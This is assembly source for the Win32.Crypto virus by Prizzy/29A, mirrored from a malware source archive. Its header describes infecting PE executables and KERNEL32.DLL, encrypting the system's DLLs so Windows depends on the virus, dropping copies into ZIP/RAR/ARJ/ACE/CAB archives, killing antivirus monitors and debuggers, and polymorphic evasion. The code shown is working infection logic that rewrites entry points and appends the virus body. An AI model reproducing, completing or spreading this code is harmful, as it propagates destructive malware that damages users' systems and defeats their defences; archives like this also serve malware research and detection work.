mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
8660 lines
230 KiB
NASM
8660 lines
230 KiB
NASM
;
|
||
; ÚÄÄÍÍÍÍÍÍÍÍÄÄÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ÄÄÍÍÍÍÍÍÍÍÄÄ¿
|
||
; : Prizzy/29A : Win32.Crypto : Prizzy/29A :
|
||
; ÀÄÄÍÍÍÍÍÍÍÍÄÄÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÄÄÍÍÍÍÍÍÍÍÄÄÙ
|
||
;
|
||
; I'm very proud on my very first virus at Win32 platform. It infects EXE
|
||
; files with PE (Portable Executable) header. Also it can compress itself
|
||
; into ZIP/ARJ/RAR/ACE/CAB archivez. If the virus catch DLL opeations, it
|
||
; encrypt/decrypt that by cryptography functions. Thus, we can pronounce
|
||
; the system is dependents on the virus (OneHalf idea).
|
||
;
|
||
; When infected EXE is started, it infects KERNEL32.DLL, hooks some Win32
|
||
; functions and next reboot is actived. It catches "all" file operations,
|
||
; create thread/mutex, run Hyper Infection for API to find archivez, AV
|
||
; checksum files, EXEs and so on.
|
||
;
|
||
; If PHI-API will find an archive program, the virus compress itself and
|
||
; add itself to body (inside, not at the end). My PPE-II does NOT support
|
||
; copro & mmx garbages, only based with many features are new.
|
||
;
|
||
;
|
||
; Detailed Information
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;
|
||
;
|
||
; Cryptography Area, based on WinAPI (SR2/NT) functions
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; Let us start. I exploited One Half technics for Win32 world, new method
|
||
; in our VX world. You exactly know One Half tries to encode your sectors
|
||
; and if you want to read its he decodes ones and so on, you exactly know
|
||
; what I think. Well, and because I use kernel32 infection I can hook all
|
||
; file functions. Then I decode all DLL files by PHI-II (Hyper Infection)
|
||
; and if the system wants to open DLL file I decode one, and so on. Then,
|
||
; the Win32 system is dependents on my virus. Naturally, the user can re-
|
||
; install Win95/98/NT/2000 but then DLL are in MSOffice, Visual C++, ICQ,
|
||
; Outlook, AutoCAD and many many more appz. For comparison: my Win98 has
|
||
; 831 DLL files and on my all disks are 5103 DLL files (including Win2k).
|
||
; I know this is the perfect way to get all what you want. But I've found
|
||
; out I can't hook all Win32 file operations so, true crypto DLL will be
|
||
; inside Ring0/Ring3 world - my future work...
|
||
;
|
||
;
|
||
; Prizzy Polymorphic Engine (PPE-II new version)
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; I've removed all copro & mmx garbages and I've coded these new stuff:
|
||
; * brute-attack algorithm
|
||
; * random multi-layer engine
|
||
; By "brute-attack" I'm finding right code value by checksum. And because
|
||
; I don't know that number, AV neither. This process can take mostly 0.82
|
||
; seconds on my P233. For more info find "ppe_brute_init:" in this source
|
||
;
|
||
; In the second case I don't decode by default (up to down) but by random
|
||
; multi-layer algorithm. It means I generate the certain buffer and by
|
||
; its I decode up or down. Thus I can generate more then 950 layers and
|
||
; typical some 69 layers. Also the random buffer, behind poly loop, has
|
||
; anti-heuristic protection (gaps) to AV couldn't simulate that process.
|
||
; So, only in my decoding loop are stored the places where the gaps are.
|
||
; Find "ppe_mlayer_generate:" label for many momre information.
|
||
;
|
||
;
|
||
; Infection ZIP/ARJ/RAR/ACE/CAB archivez, including RAR/ACE EXE-SFX
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; I will find these archive programs and by them I will compress some in-
|
||
; fected file by random compression level. Then the dropper is stored in-
|
||
; side archive, not at the end. So, I don't need have any CRC algorithms.
|
||
; However these operations are very complex, especially ZIP infection but
|
||
; it isn't impossible. So, AV cannot check only last file (stored) in ar-
|
||
; chive, but inside it.
|
||
;
|
||
;
|
||
; Main features
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;
|
||
;
|
||
; * Platforms: Windows 95/98, Windows NT/2000 (tested on 2031 build)
|
||
; * Residency: Yes, KERNEL32 way, working on 95/98 and NT/2k systems
|
||
; * Non-residency: Yes, only K32 infection
|
||
; * Stealth: Yes, DLLs working; opening, copying and loading
|
||
; * AntiDebugging: Yes, some stupid debuggers like TD32; routinues for
|
||
; disable SoftICE 95/NT.
|
||
; * AntiHeuristic: Yes, threads way and multi-layer anti-heuristic
|
||
; * AntiAntivirus: Yes, deleting checksum files, hacking AVAST database
|
||
; * Other anti-*: Yes, anti-emulator, anti-bait, anti-monitor
|
||
; * Fast Infection: Yes/No, infect only 20 EXEs every reboot, but infect
|
||
; all types of archivez on all diskz
|
||
; * Polymomrphism: Yes, using based garbages from Win9x.Prizzy, inclu-
|
||
; ding brute-force way and random multi-layer way
|
||
; * Other features: (a) Use of brute-CRC64 algorithm to find APIs in K32
|
||
; (b) Encoding and decoding DLLs in real time
|
||
; (c) Memory allocations by "CreateFileMapping" func.
|
||
; 'cause of sharing among processes
|
||
; (d) Use of threads, mutexes & process tricks
|
||
; (e) Support of "do not infected" table
|
||
; (f) Checking files by natural logarithm
|
||
; (g) No optimalization, yeah, I don't lie (read
|
||
; "Words from Prizzy" 29A #4 to know why)
|
||
; (h) UniCode support
|
||
;
|
||
;
|
||
; Greetings
|
||
; ÄÄÄÄÄÄÄÄÄÄÄ
|
||
;
|
||
; And finally my greetz go to:
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; Darkman u're really great inet pal, thanx for fun on #virus :)
|
||
; Benny thanx for big help with threads, mutexes... we're wait-
|
||
; ing for Darkman's trip here, aren't we :) ?
|
||
; GriYo nah, I'd like to understand your ideas... thanx :) !
|
||
; Flush u've really big anti-* ideas, dude
|
||
; MemoryLapse yeah, K32 infection... go out of efnet to undernet
|
||
; LordJulus you have great vx articles, viruses ...
|
||
; Asmodeus finish that virus and release it; thanx for your trust
|
||
; AV companies just where is my win9x.prizzy description :) ?
|
||
; ...and for VirusBuster and Bumblebee
|
||
;
|
||
;
|
||
; Contact me
|
||
; ÄÄÄÄÄÄÄÄÄÄ
|
||
; prizzy@coderz.net
|
||
; http://prizzy.cjb.net
|
||
;
|
||
;
|
||
; (c)oded by Prizzy/29A, December 1999
|
||
;
|
||
;
|
||
|
||
.386p
|
||
.model flat,STDCALL
|
||
|
||
include Include\Win32API.inc
|
||
include Include\UseFul.inc
|
||
include Include\MZ.inc
|
||
include Include\PE.inc
|
||
|
||
extrn ExitProcess:proc
|
||
extrn MessageBoxA:proc
|
||
|
||
;ÄÄÄ´ prepare to program start ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
.data
|
||
db ?
|
||
.code
|
||
|
||
;ÄÄÄ´ some equ's needed by virus ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;DEBUG equ YEZ ;only for debug and 1st start
|
||
|
||
mem_size equ (mem_end -virus_start) ;size of virus in memory
|
||
file_size equ (file_end-virus_start) ;size of virus in file
|
||
|
||
infect_minsize equ 4096 ;only filez bigger then 4K
|
||
infect_maxsize equ 100*1024*1024 ;to 100Mb
|
||
|
||
access_ebx equ (dword ptr 16) ;access into stack when
|
||
access_edx equ (dword ptr 20) ;will be used pushad
|
||
access_ecx equ (dword ptr 24)
|
||
access_eax equ (dword ptr 28)
|
||
|
||
search_mem_size equ 100*(size dta+size search_address)
|
||
|
||
;ÄÄÄ´ some structurez for virus ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
dta_struc struc ;Win32_FIND_DATA structure
|
||
dta_fileattr dd ? ;for FindFirstFile function
|
||
dta_time_creation dq ?
|
||
dta_time_lastaccess dq ?
|
||
dta_time_lastwrite dq ?
|
||
dta_filesize_hi dd ?
|
||
dta_filesize dd ?
|
||
dta_reserved_0 dd ?
|
||
dta_reserved_1 dd ?
|
||
dta_filename db 260 dup (?)
|
||
dta_filename_short db 14 dup (?)
|
||
ends
|
||
|
||
sysTime_struc struc ;used by my Windows API
|
||
wYear dw 0000h ;"hyper infection"
|
||
wMonth dw 0000h
|
||
wDayOfWeek dw 0000h
|
||
wDay dw 0000h
|
||
wHour dw 0000h
|
||
wMinute dw 0000h
|
||
wSecond dw 0000h
|
||
wMilliseconds dw 0000h
|
||
ends
|
||
|
||
Process_Information struc ;CreateProcess: struc #1
|
||
hProcess dd 00000000h
|
||
hThread dd 00000000h
|
||
dwProcessId dd 00000000h
|
||
dwThreadId dd 00000000h
|
||
ends
|
||
|
||
Startup_Info struc ;CreateProcess: struc #2
|
||
cb dd 00000000h
|
||
lpReserved dd 00000000h ;this struc has been stolen
|
||
lpDesktop dd 00000000h ;from "Win32 Help"
|
||
lpTitle dd 00000000h
|
||
dwX dd 00000000h
|
||
dwY dd 00000000h
|
||
dwXSize dd 00000000h
|
||
dwYSize dd 00000000h
|
||
dwXCountChars dd 00000000h
|
||
dwYCountChars dd 00000000h
|
||
dwFillAttribute dd 00000000h
|
||
dwFlags dd 00000000h
|
||
wShowWindow dw 0000h
|
||
cbReserved2 dw 0000h
|
||
lpReserved2 dd 00000000h
|
||
hStdInput dd 00000000h
|
||
hStdOutput dd 00000000h
|
||
hStdError dd 00000000h
|
||
ends
|
||
|
||
File_Time struc ;get/set file time struc
|
||
dwLowDateTime dd 00000000h
|
||
dwHighDateTime dd 00000000h
|
||
ends
|
||
|
||
;ÄÄÄ´ some macroz needed by virus ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
; search "anti-emulators:" for more information
|
||
|
||
@ANTI_E_START macro start_hack, finish_hack
|
||
WHILE (num NE 0)
|
||
push dword ptr [ebp+start_hack + \
|
||
((finish_hack-start_hack) / 4 + 1 - num) * 4]
|
||
num = num - 1
|
||
endm
|
||
num = (finish_hack - start_hack) / 4 + 1
|
||
endm
|
||
|
||
@ANTI_E_FINISH macro start_hack, finish_hack, thread_handle
|
||
WHILE (num NE 0)
|
||
pop dword ptr [ebp+finish_hack - \
|
||
(finish_hack-start_hack) mod 4 - \
|
||
((finish_hack-start_hack) / 4 + 1 - num) * 4]
|
||
num = num - 1
|
||
endm
|
||
call [ebp+ddCloseHandle], thread_handle
|
||
num = (finish_hack - start_hack) / 4 + 1
|
||
endm
|
||
|
||
;ÄÄÄ´ virus code starts here ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
virus_start:
|
||
|
||
call get_base_ebp ;get actual address to EBP
|
||
|
||
mov eax,ebp
|
||
db 2Dh ;sub eax,infected_ep
|
||
infected_ep: dd 00001000h
|
||
db 05h ;add eax,original_ep
|
||
original_ep: dd 00000000
|
||
sub eax,[ebp+__pllg_lsize]
|
||
push eax ;host address
|
||
|
||
; use anti-emulator
|
||
pusha
|
||
@SEH_SetupFrame <jmp __anti_e_1>;set SEH handler
|
||
call $ ;ehm :)
|
||
jmp __return
|
||
__anti_e_1:
|
||
@SEH_RemoveFrame ;reset SEH handler
|
||
popa
|
||
|
||
call find_kernel32 ;find kernel's base address
|
||
|
||
; use anti-emulator
|
||
@ANTI_E_START __thread_1_begin, __thread_1_finish
|
||
lea eax,[ebp+__thread_1] ;thread function
|
||
mov ebx,offset __thread_1_begin + \
|
||
(__thread_1_finish - __thread_1_begin) \
|
||
shl 18h ;upper imm8 register in EBX
|
||
call __MyCreateThread ; * anti-heuristic
|
||
__thread_1_begin equ this byte
|
||
jmp $ ;anti-emulator :)
|
||
jmp __return ;patch this ! random number
|
||
__thread_1_finish equ this byte
|
||
@ANTI_E_FINISH __thread_1_begin, __thread_1_finish, eax
|
||
|
||
; next code...
|
||
call kill_av_monitors ;kill AVP, AVAST32 etc.
|
||
call kill_debuggers ;bye, bye SoftICE, my honey
|
||
call create_mutex ;already resident ?
|
||
jc __return ;go back, if yes
|
||
call crypto_startup
|
||
call infect_kernel ;ehm, find kernel and infect!
|
||
|
||
__return:
|
||
pop eax
|
||
add eax,offset virus_start
|
||
jmp eax ;go back, my lord...
|
||
|
||
;ÄÄÄ´ main function for infect file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This is main function which infects file.
|
||
;
|
||
;Extension support:
|
||
; EXE ... executable file (PE), RAR/ACE SFX file
|
||
; DLL ... kernel32 infection, encypting through PHI-API
|
||
; CAB ... infecting Microsoft Cabinet File
|
||
; ZIP/ARJ/RAR/ACE ... dropper compressed,inside archive
|
||
;
|
||
;Okay, here is truth. I had many problems with EXE and DLL
|
||
;infection in this function. I found out all valuez have
|
||
;to be aligned etc. Especially Win2k need that. I also use
|
||
;"CheckSumMappedFile" function to calculate appz checksum.
|
||
;
|
||
infect_file:
|
||
|
||
; save registers & get delta
|
||
pusha
|
||
call get_base_ebp
|
||
|
||
; get extension
|
||
mov edi,[ebp+filename_ptr]
|
||
|
||
; convert lowercase characters to uppercase
|
||
push edi
|
||
call [ebp+ddlstrlen] ;get length of filename
|
||
inc eax ;number of characters to
|
||
push eax ;progress
|
||
push edi ;filename
|
||
call [ebp+ddCharUpperBuffA] ;convert to uppercase
|
||
|
||
; infect only files in these dirz
|
||
IFDEF DEBUG
|
||
cmp [edi+00000000h],'W\:C' ;"C:\WIN\WEWB4\XX\"
|
||
jnz __if_debug ;directory
|
||
cmp [edi+00000004h],'W\NI'
|
||
jnz __if_debug
|
||
cmp [edi+00000008h],'4BWE'
|
||
jnz __if_debug
|
||
cmp [edi+0000000Ch],'\XX\'
|
||
jz __if_debug2
|
||
__if_debug:
|
||
cmp [edi],'W\:C' ;"C:\WINDOWS\KERN"
|
||
jnz infect_file_exit
|
||
cmp [edi+4],'ODNI'
|
||
jnz infect_file_exit
|
||
cmp [edi+8],'K\SW'
|
||
jnz infect_file_exit
|
||
cmp [edi+8+4],'ENRE'
|
||
jnz infect_file_exit
|
||
__if_debug2:
|
||
ENDIF
|
||
|
||
; check file name (by avoid table)
|
||
mov ebx,[ebp+filename_ptr] ;filename
|
||
lea esi,[ebp+avoid_table] ;avoid table
|
||
call validate_name
|
||
jc infect_file_exit
|
||
|
||
; check AV files (anti-bait)
|
||
call fuck_av_files
|
||
jc infect_file_exit
|
||
|
||
; get extension
|
||
cld
|
||
mov al,'.' ;search this char
|
||
mov cx,filename_size ;max filename_size
|
||
repnz scasb ;searching...
|
||
dec edi ;set to that char
|
||
cmp al,[edi] ;check again !
|
||
jnz infect_file_exit ;shit, bad last char
|
||
|
||
IFDEF DEBUG
|
||
mov eax,[edi-4] ;you can infect only
|
||
cmp eax,'23LE'
|
||
jz __OnlyMyKernel
|
||
cmp eax,'DCBA' ;this file on my disk
|
||
jnz infect_file_exit ;i won't risk
|
||
__OnlyMyKernel:
|
||
ENDIF
|
||
; get file information
|
||
lea esi,[ebp+dta] ;dta structure
|
||
mov edx,[ebp+filename_ptr] ;FileName pointer
|
||
call __MyFindFirst
|
||
jc infect_file_exit ;success ?
|
||
call __MyFindClose ;close handle
|
||
|
||
cmp dword ptr [ebp+it_is_kernel],00000001h
|
||
jz infect_file_continue ;if kernel32, infect it
|
||
|
||
; check extension
|
||
mov eax,[edi] ;get ext of file
|
||
not eax
|
||
cmp eax,not 'EXE.' ;is it EXE file ?
|
||
jnz next_ext_1
|
||
call infect_ACE_RAR ;is it ACE/RAR EXE-SFX file ?
|
||
jnc infect_file_exit
|
||
jmp next_ext_end
|
||
next_ext_1:
|
||
cmp eax,not 'ECA.' ;is it ACE archive file ?
|
||
jnz next_ext_2
|
||
call infect_ACE
|
||
next_ext_2:
|
||
cmp eax,not 'RAR.' ;is it RAR archive file ?
|
||
jnz next_ext_3
|
||
call infect_RAR
|
||
next_ext_3:
|
||
cmp eax,not 'JRA.' ;is it ARJ archive file ?
|
||
jnz next_ext_4
|
||
call infect_ARJ
|
||
next_ext_4:
|
||
cmp eax,not 'PIZ.' ;is it ZIP archive file ?
|
||
jnz next_ext_5
|
||
call infect_ZIP
|
||
next_ext_5:
|
||
cmp eax,not 'BAC.' ;is it CAB archive file ?
|
||
jnz infect_file_exit
|
||
call infect_CAB
|
||
jmp infect_file_exit
|
||
next_ext_end: ;infect if any EXE file
|
||
|
||
; check number of infected files
|
||
cmp [ebp+NewACE.dropper],00000000h
|
||
jz infect_file_continue ;dropper exists ?
|
||
cmp dword ptr [ebp+file_infected],20
|
||
jae infect_file_exit ;infected more then 20 EXEs ?
|
||
|
||
; check file size
|
||
infect_file_continue:
|
||
mov eax,[ebp+dta.dta_filesize]
|
||
cmp eax,infect_minsize ;is filesize smaller ?
|
||
jb infect_file_exit
|
||
cmp eax,infect_maxsize ;is filesize bigger ?
|
||
ja infect_file_exit
|
||
|
||
; set file attributes
|
||
mov ecx,FILE_ATTRIBUTE_NORMAL
|
||
mov edx,[ebp+filename_ptr]
|
||
call __MySetAttrFile
|
||
jc infect_file_exit ;success ?
|
||
|
||
; open file
|
||
mov edx,[ebp+filename_ptr]
|
||
call __MyOpenFile ;open file !
|
||
jc infect_file_restattr
|
||
mov [ebp+file_handle],eax
|
||
|
||
; create a memory map object
|
||
push 00000000h ;name of file mapping object
|
||
push 00000000h ;low 32 bits of object size
|
||
push 00000000h ;high 32 bits of object size
|
||
push PAGE_READONLY ;get needed valuez, etc.
|
||
push 00000000h ;optional security attributes
|
||
push [ebp+file_handle] ;handle to file to map
|
||
call [ebp+ddCreateFileMappingA]
|
||
or eax,eax ;failed ?
|
||
jz infect_file_close
|
||
mov [ebp+file_hmap],eax ;store mapped file handle
|
||
|
||
; view of file in our address
|
||
push 00000000h ;number of bytes to map
|
||
push 00000000h ;low 32 bits of the offset
|
||
push 00000000h ;high 32 bits of the offset
|
||
push FILE_MAP_READ ;access mode
|
||
push [ebp+file_hmap] ;mapped file handle
|
||
call [ebp+ddMapViewOfFile]
|
||
or eax,eax ;failed ?
|
||
jz infect_file_closeMap
|
||
mov [ebp+file_hmem],eax ;mapped file in memory
|
||
|
||
; check file signature
|
||
cmp word ptr [eax.MZ_magic], \
|
||
IMAGE_DOS_SIGNATURE ;test 'MZ'
|
||
jnz infect_file_unMap
|
||
|
||
; check "PE" valuez
|
||
cmp word ptr [eax.MZ_crlc],0000h
|
||
jz infect_file_okay ;no PE ?
|
||
cmp word ptr [eax.MZ_lfarlc],0040h
|
||
jb infect_file_unMap ;bad PE ?
|
||
|
||
infect_file_okay:
|
||
; seek on NT header
|
||
mov esi,eax
|
||
add esi,[eax.MZ_lfanew]
|
||
push esi
|
||
call [ebp+ddIsBadCodePtr] ;can we read memory at least?
|
||
or eax,eax
|
||
jnz infect_file_unMap
|
||
|
||
; check "PE" signature
|
||
cmp dword ptr [esi.NT_Signature], \
|
||
IMAGE_NT_SIGNATURE
|
||
jnz infect_file_unMap ;is it really 'PE\0\0' ?
|
||
|
||
; already infected ?
|
||
mov eax,[ebp+file_hmem] ;mapped file in memory
|
||
add eax,[ebp+dta.dta_filesize]
|
||
mov eax,[eax-00000004h] ;infected dword flag
|
||
call __check_infected
|
||
jnc infect_file_unMap
|
||
|
||
; check header flags
|
||
mov ax,[esi+NT_FileHeader.FH_Characteristics]
|
||
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
|
||
jz infect_file_unMap
|
||
test ax,IMAGE_FILE_DLL ;no DLL ?
|
||
jz infect_file_no_dll
|
||
cmp dword ptr [ebp+it_is_kernel],00000000h
|
||
jz infect_file_unMap ;is it kernel32 infection ?
|
||
|
||
infect_file_no_dll:
|
||
call __getLastObjectTable ;seek on last object table
|
||
|
||
; alloc memory for polymorphic engine
|
||
mov eax,file_size + 30000h
|
||
call malloc
|
||
mov [ebp+mem_address],eax
|
||
add eax,file_size
|
||
mov [ebp+poly_start],eax
|
||
|
||
; get new entry-point (EXE), or change IT of kernel32 ?
|
||
mov eax,[ebx+SH_SizeOfRawData]
|
||
add eax,[ebx+SH_VirtualAddress]
|
||
mov dword ptr [ebp+infected_ep],eax
|
||
mov eax,[esi+NT_OptionalHeader.OH_AddressOfEntryPoint]
|
||
mov dword ptr [ebp+original_ep],eax
|
||
|
||
mov [ebp+poly_finish],mem_size
|
||
|
||
; run Prizzy Polymorphic Engine (PPE-II)
|
||
cmp dword ptr [ebp+it_is_kernel],00000000h
|
||
jnz infect_file_common
|
||
|
||
call ppe_startup
|
||
|
||
; calculate maximum infected file size
|
||
infect_file_common:
|
||
mov eax,[ebx+SH_SizeOfRawData] ;file size
|
||
add eax,[ebx+SH_PointerToRawData]
|
||
add eax,[ebp+poly_finish] ; + virus file size
|
||
add eax,00000004h ; + infected flag
|
||
mov ecx,[esi+NT_OptionalHeader.OH_FileAlignment]
|
||
xor edx,edx
|
||
add eax,ecx
|
||
dec eax
|
||
div ecx
|
||
mul ecx
|
||
push eax
|
||
|
||
; unmap file object
|
||
push [ebp+file_hmem]
|
||
call [ebp+ddUnmapViewOfFile]
|
||
|
||
; close mapping file object
|
||
push [ebp+file_hmap]
|
||
call [ebp+ddCloseHandle]
|
||
|
||
; reopen memory mapped file object
|
||
push 00000000h ;name of file mapping object
|
||
push dword ptr [esp+0000004h];low 32 bits of object size
|
||
push 00000000h ;high 32 bits of object size
|
||
push PAGE_READWRITE ;get needed valuez, etc.
|
||
push 00000000h ;optional security attributes
|
||
push [ebp+file_handle] ;handle to file to map
|
||
call [ebp+ddCreateFileMappingA]
|
||
mov [ebp+file_hmap],eax ;store mapped file handle
|
||
|
||
; view of file in our memory
|
||
push 00000000h ;number of bytes to map
|
||
push 00000000h ;low 32 bits of the offset
|
||
push 00000000h ;high 32 bits of the offset
|
||
push FILE_MAP_WRITE ;access mode
|
||
push [ebp+file_hmap] ;mapped file handle
|
||
call [ebp+ddMapViewOfFile]
|
||
mov [ebp+file_hmem],eax ;mapped file in memory
|
||
|
||
; seek on last object table
|
||
add eax,[eax.MZ_lfanew]
|
||
mov esi,eax
|
||
call __getLastObjectTable
|
||
|
||
; infect "KERNEL32" file OR change EntryPoint
|
||
cmp dword ptr [ebp+it_is_kernel],00000000h
|
||
jz infect_file_entry
|
||
mov [ebp+__pllg_lsize],00000000h ;more info in that func
|
||
call infect_file_kernel ;hook "kernel32" table :)
|
||
jmp infect_file_no_change
|
||
infect_file_entry:
|
||
mov eax,dword ptr [ebp+infected_ep]
|
||
add eax,[ebp+file_size3]
|
||
mov [esi+NT_OptionalHeader.OH_AddressOfEntryPoint],eax
|
||
|
||
; copy mem_address (virus body) to the end of file
|
||
infect_file_no_change:
|
||
push esi
|
||
mov esi,[ebp+mem_address] ;source data
|
||
mov edi,[ebx+SH_SizeOfRawData]
|
||
add edi,[ebx+SH_PointerToRawData]
|
||
add edi,[ebp+file_hmem] ;destination pointer
|
||
mov ecx,[ebp+poly_finish] ;number of bytes to copy
|
||
rep movsb
|
||
pop esi
|
||
|
||
; calculate new physical size
|
||
mov eax,[ebp+poly_finish]
|
||
cmp dword ptr [ebp+it_is_kernel],00000000h
|
||
jz $ + 7 ;this isn't logic but i had
|
||
mov eax,mem_size ;problems in k32 memory
|
||
add eax,[ebx+SH_SizeOfRawData]
|
||
mov ecx,[esi+NT_OptionalHeader.OH_FileAlignment]
|
||
xor edx,edx
|
||
add eax,ecx
|
||
dec eax
|
||
div ecx
|
||
mul ecx
|
||
mov [ebx+SH_SizeOfRawData],eax
|
||
|
||
; calculate new potential virtual size
|
||
mov eax,[ebx+SH_VirtualSize]
|
||
add eax,mem_size
|
||
mov ecx,[esi+NT_OptionalHeader.OH_SectionAlignment]
|
||
xor edx,edx
|
||
add eax,ecx
|
||
dec eax
|
||
div ecx
|
||
mul ecx
|
||
|
||
; if new phys_size > virt_size ==> virt_size = phys_size
|
||
cmp eax,[ebx+SH_SizeOfRawData]
|
||
jnc infect_file_no_update
|
||
mov eax,[ebx+SH_SizeOfRawData]
|
||
infect_file_no_update:
|
||
mov [ebx+SH_VirtualSize],eax
|
||
|
||
add eax,[ebx+SH_VirtualAddress]
|
||
|
||
; infected host increased an image size ?
|
||
cmp eax,[esi+NT_OptionalHeader.OH_SizeOfImage]
|
||
jc infect_no_update_2
|
||
mov [esi+NT_OptionalHeader.OH_SizeOfImage],eax
|
||
infect_no_update_2:
|
||
|
||
; set these PE flags
|
||
or dword ptr [ebx+SH_Characteristics], \
|
||
IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE or \
|
||
IMAGE_SCN_MEM_WRITE
|
||
|
||
; already infected flag
|
||
mov eax,02302301h ;special number
|
||
call ppe_get_rnd_range
|
||
inc eax ;it can't be zero
|
||
imul eax,117 ;encrypt one
|
||
pop edi ;file size + virus size
|
||
mov [ebp+file_hsize],edi
|
||
add edi,[ebp+file_hmem] ;mapped file in memory
|
||
mov [edi-00000004h],eax ;already infected flag
|
||
|
||
; calculate new checksum because of Win2k and WinNT :)
|
||
cmp dword ptr [esi+NT_OptionalHeader. \
|
||
OH_CheckSum],00000000h
|
||
jz infect_file_no_checksum
|
||
@pushsz "IMAGEHLP.DLL" ;load "IMAGEHLP.DLL" library
|
||
call [ebp+ddLoadLibraryA]
|
||
or eax,eax ;failed ?
|
||
jz infect_file_no_checksum
|
||
push eax ;parameter for FreeLibrary
|
||
|
||
; get function to calculate checksum
|
||
@pushsz "CheckSumMappedFile" ;get address of this function
|
||
push eax ;library handle
|
||
call [ebp+ddGetProcAddress]
|
||
or eax,eax
|
||
jz infect_file_deload
|
||
|
||
; calculate checksum
|
||
lea ecx,[esi+NT_OptionalHeader.OH_CheckSum]
|
||
push ecx ;receives computed checksum
|
||
call $+9 ;header old checksum
|
||
dd ?
|
||
push dword ptr [ebp+file_hsize]
|
||
push [ebp+file_hmem] ;memory mapped address
|
||
call eax
|
||
|
||
infect_file_deload:
|
||
call [ebp+ddFreeLibrary]
|
||
|
||
; dealloc memory for PPE-II
|
||
infect_file_no_checksum:
|
||
mov eax,[ebp+mem_address]
|
||
call mdealloc
|
||
|
||
; new infected file
|
||
inc dword ptr [ebp+file_infected]
|
||
|
||
; use for acrhive dropper ?
|
||
cmp dword ptr [ebp+dta.dta_filesize],30000
|
||
ja infect_file_unMap ;for archive fsize < 30Kb
|
||
push [ebp+file_hmem] ;mapped file in memory
|
||
call [ebp+ddUnmapViewOfFile]
|
||
push [ebp+file_hmap] ;mapped file object
|
||
call [ebp+ddCloseHandle]
|
||
mov ebx,[ebp+file_handle] ;I must close infected file
|
||
call __MyCloseFile ;coz I'll copy it, etcetera
|
||
call __add_dropper ;compress it by ZIP, RAR ...
|
||
jmp infect_file_restattr
|
||
|
||
infect_file_unMap:
|
||
push [ebp+file_hmem] ;mapped file in memory
|
||
call [ebp+ddUnmapViewOfFile]
|
||
infect_file_closeMap:
|
||
push [ebp+file_hmap] ;mapped file object
|
||
call [ebp+ddCloseHandle]
|
||
infect_file_time:
|
||
lea eax,[ebp+dta.dta_time_lastwrite]
|
||
lea ecx,[ebp+dta.dta_time_lastaccess]
|
||
lea edx,[ebp+dta.dta_time_creation]
|
||
call [ebp+ddSetFileTime], \
|
||
[ebp+file_handle], \
|
||
edx, ecx, eax
|
||
infect_file_close:
|
||
mov ebx,[ebp+file_handle] ;close file handle
|
||
call __MyCloseFile
|
||
infect_file_restattr:
|
||
mov ecx,[ebp+dta.dta_fileattr]
|
||
mov edx,[ebp+filename_ptr] ;restore file attributes
|
||
call __MySetAttrFile
|
||
|
||
infect_file_exit:
|
||
popa ;go to HyperInfection or to
|
||
ret ;Kernel32 hooked functions
|
||
|
||
;---------------------------------------------------------
|
||
;Common file infected semi-functions.
|
||
;
|
||
__getLastObjectTable:
|
||
movzx eax,[esi+NT_FileHeader.FH_NumberOfSections]
|
||
cdq
|
||
mov ecx,IMAGE_SIZEOF_SECTION_HEADER
|
||
dec eax
|
||
mul ecx ;eax=offs of last section
|
||
|
||
movzx edx,[esi+NT_FileHeader.FH_SizeOfOptionalHeader]
|
||
add eax,edx
|
||
add eax,esi
|
||
add eax,offset NT_OptionalHeader.OH_Magic ;seek to l.o. table
|
||
|
||
xchg eax,ebx
|
||
ret
|
||
|
||
;ÄÄÄ´ function to hook some funtions from KERNEL32.DLL ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;At last I've finished this unpalatable function. I remem-
|
||
;ber how hardly I have found an interesting source about
|
||
;this method because I have many many problems with this.
|
||
;So, let's begin. At first I will get these addresses:
|
||
; * name table pointer (as are function names)
|
||
